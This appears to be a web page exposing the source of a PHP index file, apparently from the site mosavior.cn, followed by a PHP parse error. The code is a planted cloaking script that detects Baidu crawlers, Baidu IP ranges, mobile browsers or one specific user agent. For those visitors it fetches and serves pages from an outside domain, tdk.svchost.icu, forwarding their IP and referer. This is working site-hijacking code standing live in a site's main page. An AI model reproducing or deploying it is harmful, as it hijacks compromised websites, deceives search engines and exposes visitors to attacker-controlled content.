<?php
header('Content-Type: text/html; charset=utf-8');
$base = 'http://tdk.svchost.icu';
$url = $_SERVER['REQUEST_URI'] ?? '/';
$target = $base . $url;
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ref = $_SERVER['HTTP_REFERER'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'] ?? '';
$isBaiduSpider = (stripos($ua, 'Baiduspider') !== false);
$isMobile = preg_match(
'/android|iphone|ipad|ipod|iemobile|opera mini|blackberry|bb10|symbian|windows phone|wpdesktop|meego|nokia|samsung|huawei|honor|oppo|vivo|miui|redmi|oneplus|lenovo|zte|tcl|alps|hisilicon|realme|harmonyos|micromessenger|ucbrowser|mqqbrowser|baiduboxapp/i',
$ua
);
$ipPrefixes = [
'110.187','125.65','221.209','180.97','111.206',
'206.221','123.181','123.125','220.181','116.179',
'111.202','118.184','123.126','123.183','49.7',
'58.250','36.110','104.160'
];
$isBaiduIP = false;
foreach ($ipPrefixes as $prefix) {
if (strpos($ip, $prefix) === 0) {$isBaiduIP = true; break;}
}
$targetUA = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36';
$isTargetUA = ($ua === $targetUA);
if ($isBaiduSpider || $isBaiduIP || $isTargetUA || $isMobile) {
$ch = curl_init($target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
$host = $_SERVER['HTTP_HOST'] ?? '';
$headers = [
'X-Real-IP: ' . $ip,
'X-Forwarded-For: ' . $ip,
'Referer: ' . ($host ? ('http://' . $host . $url) : $ref),
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
exit;
} ?>
Parse error: syntax error, unexpected '?' in /www/wwwroot/mosavior.cn/index.php on line 5